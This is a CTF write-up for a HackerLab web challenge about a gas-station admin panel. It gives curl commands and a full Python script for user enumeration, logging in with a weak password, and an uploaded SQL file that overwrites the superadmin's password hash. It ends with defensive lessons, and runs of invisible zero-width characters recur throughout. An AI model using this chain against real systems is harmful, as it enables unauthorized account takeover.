← Back to Writeups
CUSTOMMediumpwn

Хаос на АЗС (Chaos at the Gas Station)

XESXOR9/2/20264 min read
#pwn#custom#medium#hash_algorithm_analysis#password_bruteforce#sql_injection_via_backup_uploa#user_enumeration_via_error_mes#linux

Хаос на АЗС (Chaos at the Gas Station)

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: hash_algorithm_analysis, password_bruteforce, sql_injection_via_backup_upload, user_enumeration_via_error_messages

Summary

Task: Web app for gas station management with admin panel. Solution: User enumeration via different error messages, password bruteforce, then SQL injection via backup upload to change superadmin password and access secret section.

Хаос на АЗС (Chaos at the Gas Station) — HackerLab

Description

Web application for managing a gas station. The main page displays fuel prices (Gasoline, Diesel, Methane, Propane). There is an admin panel with two sections: "Fuel" and "Secret".

Goal: Gain access to the secret section and find the flag.

Target: 62.173.140.174:16109

Analysis

Reconnaissance

The application runs on Flask/Werkzeug. The following endpoints were discovered:

  • / — main page with fuel prices
  • /admin — redirects to /adminLogin
  • /adminLogin — login form with fields: section, username, password
  • /admin/fuel — fuel management panel (after authentication)
  • /admin/backup — download/upload database backup
  • /admin/secret — secret section ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 1: User Enumeration

The login form returns different error messages:

  • "User does not exist" — user not found
  • "Check username or password" — user exists but password is incorrect

This allows identifying existing users.

Vulnerability 2: Weak Password

The operator user in the Fuel section has a weak password qwe123, which is easily brute-forced.

Vulnerability 3: SQL Injection via Backup Upload

The SQL backup upload function executes arbitrary SQL commands without validating file contents. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: User Enumeration

bash
# Check if user exists
curl -s -X POST http://62.173.140.174:16109/adminLogin \
  -d "section=Fuel&username=operator&password=test"
# Response: "Check username or password" — user exists!

curl -s -X POST http://62.173.140.174:16109/adminLogin \
  -d "section=Fuel&username=admin&password=test"
# Response: "User does not exist"

Step 2: Password Bruteforce

bash
# Found password: qwe123
curl -s -X POST http://62.173.140.174:16109/adminLogin \
  -d "section=Fuel&username=operator&password=qwe123" \
  -c cookies.txt -L
# Successful login to /admin/fuel panel

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Admin Panel Analysis

In the /admin/fuel panel, the following were found:

  • Form for changing fuel prices
  • Hidden SQL backup upload form
  • Link to download backup /admin/backup

Step 4: Database Dump Analysis

bash
curl -s -b cookies.txt http://62.173.140.174:16109/admin/backup -o backup.sql

Backup contents:

sql
CREATE TABLE users (section TEXT, username TEXT, password TEXT);
INSERT INTO "users" VALUES('Fuel','operator','b6a2976b76ff282c4bbf8868ad9342272870d8f4370312adba1edb35c91c2a75');
INSERT INTO "users" VALUES('Secret','superadmin','c9fdad93faaa058cc5d36989be43cf7de9dfa8065e32fbe42a95a3842c7dc45e');

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Hash Algorithm Analysis

The qwe123 password hash doesn't match standard SHA256. Through analysis, the algorithm was determined to be double SHA256:

python
#!/usr/bin/env python3
import hashlib

def double_sha256(password: str) -> str:
    """Computes SHA256(SHA256(password))"""
    first_hash = hashlib.sha256(password.encode()).digest()
    second_hash = hashlib.sha256(first_hash).hexdigest()
    return second_hash

# Verification
password = "qwe123"
result = double_sha256(password)
print(f"Double SHA256 of '{password}': {result}")
# Result: b6a2976b76ff282c4bbf8868ad9342272870d8f4370312adba1edb35c91c2a75
# Matches the operator hash in the DB!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 6: SQL Injection via Backup Upload

Create a malicious SQL file to change the superadmin password:

sql
-- inject.sql
UPDATE users SET password='b6a2976b76ff282c4bbf8868ad9342272870d8f4370312adba1edb35c91c2a75' WHERE username='superadmin';

Upload the file:

bash
curl -s -b cookies.txt -X POST http://62.173.140.174:16109/admin/backup \
  -F "sqlfile=@inject.sql"
# superadmin password changed to hash of "qwe123"

Step 7: Getting the Flag

bash
# Login as superadmin
curl -s -X POST http://62.173.140.174:16109/adminLogin \
  -d "section=Secret&username=superadmin&password=qwe123" \
  -c cookies.txt -L
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Access the secret page
curl -s -b cookies.txt http://62.173.140.174:16109/admin/secret
# Flag is displayed on the page

Full Solution Script

python
#!/usr/bin/env python3
"""
Exploit for "Хаос на АЗС" (Chaos at the Gas Station)
HackerLab CTF - Pwn/Web
"""

import requests
import hashlib

TARGET = "http://62.173.140.174:16109"

def double_sha256(password: str) -> str:
    """Computes SHA256(SHA256(password))"""
    first_hash = hashlib.sha256(password.encode()).digest()
    return hashlib.sha256(first_hash).hexdigest()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    session = requests.Session()
    
    # Step 1: Login as operator
    print("[*] Logging in as operator...")
    resp = session.post(f"{TARGET}/adminLogin", data={
        "section": "Fuel",
        "username": "operator",
        "password": "qwe123"
    })
    
    if "fuel" not in resp.url:
        print("[-] Failed to login as operator")
        return
    print("[+] Logged in as operator")
    
    # Step 2: Download backup for analysis
    print("[*] Downloading backup...")
    resp = session.get(f"{TARGET}/admin/backup")
    print(f"[+] Backup content:\n{resp.text[:500]}...")
    
    # Step 3: Create malicious SQL
    known_hash = double_sha256("qwe123")
    malicious_sql = f"UPDATE users SET password='{known_hash}' WHERE username='superadmin';"
    print(f"[*] Malicious SQL: {malicious_sql}")
    
    # Step 4: Upload malicious SQL
    print("[*] Uploading malicious SQL...")
    files = {"sqlfile": ("inject.sql", malicious_sql, "application/sql")}
    resp = session.post(f"{TARGET}/admin/backup", files=files)
    print("[+] SQL uploaded")
    
    # Step 5: Login as superadmin
    print("[*] Logging in as superadmin...")
    session2 = requests.Session()
    resp = session2.post(f"{TARGET}/adminLogin", data={
        "section": "Secret",
        "username": "superadmin",
        "password": "qwe123"
    }, allow_redirects=True)
    
    # Step 6: Get the flag
    print("[*] Fetching flag...")
    resp = session2.get(f"{TARGET}/admin/secret")
    
    # Search for flag in response
    import re
    flag_match = re.search(r'CODEBY\{[^}]+\}', resp.text)
    if flag_match:
        print(f"[+] FLAG: {flag_match.group()}")
    else:
        print(f"[-] Flag not found in response")
        print(resp.text[:1000])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    main()

Lessons

  1. User Enumeration — always use identical error messages for authentication
  2. Weak Passwords — service accounts often have weak passwords
  3. SQL Injection via File Upload — database import/restore functions must validate content
  4. Security through Obscurity — non-standard hashing algorithm (double SHA256) doesn't provide security
  5. Privilege Escalation — access to one section may allow escalation to another ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍